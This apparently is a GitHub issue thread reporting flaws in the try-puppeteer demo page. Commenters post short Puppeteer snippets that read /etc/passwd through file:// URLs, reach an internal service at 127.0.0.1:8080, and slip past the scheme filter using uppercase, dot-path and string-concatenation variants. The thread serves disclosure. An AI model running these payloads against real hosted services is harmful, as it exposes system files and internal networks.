Demo page security

[ebidel]

Demo page security

[ebidel]

Thanks for the heads up! Chrome requires flags to allow access to file:/// from various web platform APIs. Puppeteer might want to do the same for security reasons.

In the meantime, I think we can intercept requests and prevent navigations to anything but https?:// urls.

[anvaka]

Looks like it is still possible to get list of all your users.

If you run this code -

const browser = await puppeteer.launch();

const page = await browser.newPage();
await page.goto('file:///etc/passwd');

console.log(await page.content());
await page.screenshot({path: 'screenshot.png'});

await browser.close();

You'll get all users on the host.

[Janpot]

@ebidel Looks like I'm also able to render pages on private IPs

const browser = await puppeteer.launch();

const page = await browser.newPage();
await page.goto('http://127.0.0.1:8080');

console.log(await page.content());
await page.screenshot({path: 'screenshot.png'});

await browser.close();

[ebidel]

That's the https://backend-dot-try-puppeteer.appspot.com/ container. The app runs on the same vm and exposes 8080 as a webservice.

[Janpot]

Well sure, I put that as quick example. One could imagine someone using the try-puppeteer code editor to scan the private IP address space looking for sensitive data.

[stqp]

@ebidel
I think you already know, we still can use "file:" scheme by below patterns.

1. upper characters
   　→　 'FILE://etc/passwd'
2. cantaining unintended「.」
   　→　'file:/./etc/passwd'
3. string concatenation
   　→　'fi'+'le://etc/passwd'

thank you.

[nachobonilla]

@ebidel can you provide a security contact email ? It would be great to send an email with more information on a variant of this issue that could have higher risks than the one provided here (and that should be fixed asap).

[ebidel]

This is not an official project so no security email.

…

On Fri, Mar 15, 2019, 5:02 PM nachobonilla ***@***.***> wrote: @ebidel <https://github.com/ebidel> can you provide a security contact email ? It would be great to send an email with more information on a variant of this issue that could have higher risks than the one provided here (and that should be fixed asap). — You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub <#6 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/AAOigNbNqBCGp2Llvq-CO6LCDmXQXi6wks5vXDSPgaJpZM4PvZTR> .